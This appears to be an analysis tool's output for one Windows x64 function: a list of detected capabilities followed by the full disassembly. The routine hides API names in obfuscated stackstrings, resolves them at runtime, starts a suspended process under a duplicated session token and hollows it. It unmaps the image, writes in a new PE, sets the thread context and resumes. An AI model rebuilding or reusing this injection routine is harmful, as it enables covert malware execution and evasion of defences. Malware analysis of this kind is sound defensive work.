Function at 0x140087a70
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create a process with modified i/o handles and window
Create process on windows
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r9
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xc8]
sub rsp, 0x1a0
xor r13d, r13d
mov r15, r8
mov r12b, r13b
mov qword [rbp + 0x28], r13
mov qword [rbp + 0xe8], r13
mov rdi, rdx
mov qword [rbp + 0xf0], r13
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov sil, byte [rbp + 0x100]
test sil, sil
je 0x140087b3e
mov r8b, byte [rbp + 0xf8]
lea rdx, [rbp + 0x28]
mov ecx, eax
call fcn.1400880f4
test al, al
je 0x1400880c8
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x1400880c8
lea rax, [rbp + 0xf0]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea r9d, [r13 + 2]
mov edx, 0x2000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x1400880c8
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0xe8]
xor r8d, r8d
call qword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
je 0x1400880c8
lea rcx, [rbp - 0x78]
mov dword [rbp - 0x74], 0x32336c65
mov word [rbp - 0x77], 0x7265
mov dword [rbp - 0x70], 0x6c6c642e
mov byte [rbp - 0x78], 0x4b
mov byte [rbp - 0x75], WSASetLastError
mov byte [rbp - 0x6c], r13b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x1400880c8
lea rdx, [rbp + 0x10]
mov dword [rbp + 0x10], 0x64616552
mov rcx, rax
mov dword [rbp + 0x16], 0x7365636f
mov dword [rbp + 0x1b], 0x6f6d654d
mov word [rbp + 0x1f], 0x7972
mov byte [rbp + 0x1a], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x21], r13b
mov word [rbp + 0x14], 0x7250
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x38]
mov dword [rbp - 0x33], 0x64616572
mov rcx, rbx
mov dword [rbp - 0x2b], 0x747865
mov dword [rbp - 0x2f], 0x746e6f43
mov dword [rbp - 0x38], 0x54746547
mov byte [rbp - 0x34], 0x68
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x58]
mov dword [rbp - 0x55], 0x6c617574
mov rcx, rbx
mov word [rbp - 0x50], 0x6c6c
mov dword [rbp - 0x4d], 0x784563
mov word [rbp - 0x57], 0x7269
mov byte [rbp - 0x4e], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp - 0x58], 0x56
mov byte [rbp - 0x51], 0x41
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x78]
mov dword [rbp - 0x7f], 0x636f6c
mov rcx, rbx
mov word [rsp + 0x78], 0x6956
mov dword [rsp + 0x7b], 0x6c617574
mov byte [rsp + 0x7a], WSACleanup
mov word [rsp + 0x7f], 0x6c41
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x60]
mov word [rsp + 0x64], 0x5065
mov rcx, rbx
mov word [rsp + 0x6d], 0x6d65
mov word [rsp + 0x6a], 0x7373
mov word [rsp + 0x67], 0x636f
mov dword [rsp + 0x60], 0x74697257
mov dword [rsp + 0x6f], 0x79726f
mov byte [rsp + 0x66], WSACleanup
mov byte [rsp + 0x6c], Ordinal_79
mov byte [rsp + 0x69], 0x65
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x19], 0x6f436461
mov rcx, rbx
mov dword [rbp - 0x14], 0x74786574
mov dword [rbp - 0x20], 0x54746553
mov byte [rbp - 0x10], r13b
mov word [rbp - 0x1c], 0x7268
mov byte [rbp - 0x1a], 0x65
mov byte [rbp - 0x15], WSASetLastError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x68]
mov word [rbp - 0x67], 0x7365
mov rcx, rbx
mov qword [0x1400d7800], rax
mov word [rbp - 0x61], 0x7268
mov word [rbp - 0x64], 0x656d
mov word [rbp - 0x5e], 0x6461
mov byte [rbp - 0x5f], 0x65
mov byte [rbp - 0x65], 0x75
mov byte [rbp - 0x68], 0x52
mov byte [rbp - 0x62], 0x54
mov byte [rbp - 0x5c], r13b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 8]
mov dword [rbp + 1], 0x636f7250
mov rcx, rbx
mov word [rbp - 5], 0x696d
mov dword [rbp + 5], 0x737365
mov word [rbp - 2], 0x7461
mov word [rbp - 7], 0x7265
mov byte [rbp], 0x65
mov byte [rbp - 3], WSASetLastError
mov byte [rbp - 8], 0x54
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x48]
mov dword [rbp - 0x3d], 0x417373
mov rcx, rbx
mov qword [0x1400d77f8], rax
mov dword [rbp - 0x44], 0x72506574
mov word [rbp - 0x47], 0x6572
mov word [rbp - 0x40], 0x636f
mov byte [rbp - 0x45], 0x61
mov byte [rbp - 0x3e], 0x65
mov byte [rbp - 0x48], 0x43
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400d77f0], rax
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x140087ffe
movsxd rbx, dword [r14 + 0x3c]
add rbx, r14
cmp dword [rbx], 0x4550
jne 0x140087ffe
lea rdx, [rbp + 0x100]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov eax, dword [rbp + 0x100]
mov ecx, 0x14c
cmp word [rbx + 4], cx
jne 0x140087dbc
test eax, eax
jne 0x1400880c8
mov ecx, 0x8664
cmp word [rbx + 4], cx
jne 0x140087dd0
cmp eax, 6
jne 0x1400880c8
xor edx, edx
lea rcx, [rsp + 0x60]
lea r8d, [rdx + 0x18]
call fcn.14004e050
xor edx, edx
lea rcx, [rbp + 0x30]
lea r8d, [rdx + 0x68]
call fcn.14004e050
xor r9d, r9d
mov dword [rbp + 0x30], 0x68
mov dword [rbp + 0x6c], 0x101
lea rax, [rsp + 0x60]
mov word [rbp + 0x70], r13w
test sil, sil
je 0x140087e55
mov rcx, qword [rbp + 0xf0]
mov r8, r15
mov qword [rsp + 0x50], rax
mov rdx, rdi
lea rax, [rbp + 0x30]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 0xe8]
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
jmp 0x140087e89
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp + 0x30]
mov rdx, r15
mov qword [rsp + 0x40], rax
mov rcx, rdi
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r13d
call qword [0x1400d77f0]
test eax, eax
je 0x140087ffe
mov esi, 8
mov r8d, 0x1000
mov edx, esi
xor ecx, ecx
lea r9d, [rsi - 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rdi, rax
mov dword [rax + 0x30], 0x100002
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsp + 0x60]
test eax, eax
je 0x140087ff6
mov rdx, qword [rdi + 0x88]
lea r8, [rsp + 0x78]
add rdx, 0x10
mov qword [rsp + 0x20], r13
mov r9d, esi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtUnmapViewOfSection
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x60]
call rax
mov r8d, dword [rbx + 0x50]
mov r9d, 0x3000
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x60]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [rsp + 0x60]
mov r15, rax
test rax, rax
je 0x140087ff6
mov r9d, dword [rbx + 0x54]
mov r8, r14
mov rdx, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r12d, r13d
movzx eax, word [rbx + 0x14]
cmp r13w, word [rbx + 6]
jae 0x140087fa8
lea rsi, [rbx + 0x2c]
add rsi, rax
mov r8d, dword [rsi]
mov edx, dword [rsi - 8]
add r8, r14
mov r9d, dword [rsi - 4]
add rdx, r15
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
lea rsi, [rsi + 0x28]
inc r12d
cmp r12d, eax
jl 0x140087f73
mov esi, 8
mov rdx, qword [rdi + 0x88]
lea r8, [rsp + 0x78]
mov rcx, qword [rsp + 0x60]
add rdx, 0x10
mov r9, rsi
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [rbx + 0x28]
mov rdx, rdi
add rax, r15
mov qword [rdi + 0x80], rax
mov rcx, qword [rsp + 0x68]
call qword [0x1400d7800]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov r12b, 1
jmp 0x140087ffe
xor edx, edx
call qword [0x1400d77f8]
cmp qword [rbp + 0xe8], r13
je 0x14008809b
lea rcx, [rsp + 0x78]
mov dword [rsp + 0x78], 0x72657355
mov dword [rsp + 0x7c], 0x2e766e65
mov dword [rbp - 0x80], 0x6c6c64
mov word [rsp + 0x73], 0x6f6c
mov word [rsp + 0x65], 0x796f
mov word [rsp + 0x76], WSASetLastError
mov dword [rsp + 0x6b], 0x6d6e6f72
mov dword [rsp + 0x60], 0x74736544
mov dword [rsp + 0x67], 0x69766e45
mov dword [rsp + 0x6f], 0x42746e65
mov byte [rsp + 0x75], 0x63
mov byte [rsp + 0x64], WSACleanup
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140088094
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400d7858], rax
test rax, rax
je 0x140088094
mov rcx, qword [rbp + 0xe8]
call rax
mov qword [rbp + 0xe8], r13
mov rcx, qword [rbp + 0xf0]
test rcx, rcx
je 0x1400880b4
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0xf0], r13
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x1400880c3
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, r12b
jmp 0x1400880ca
xor al, al
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret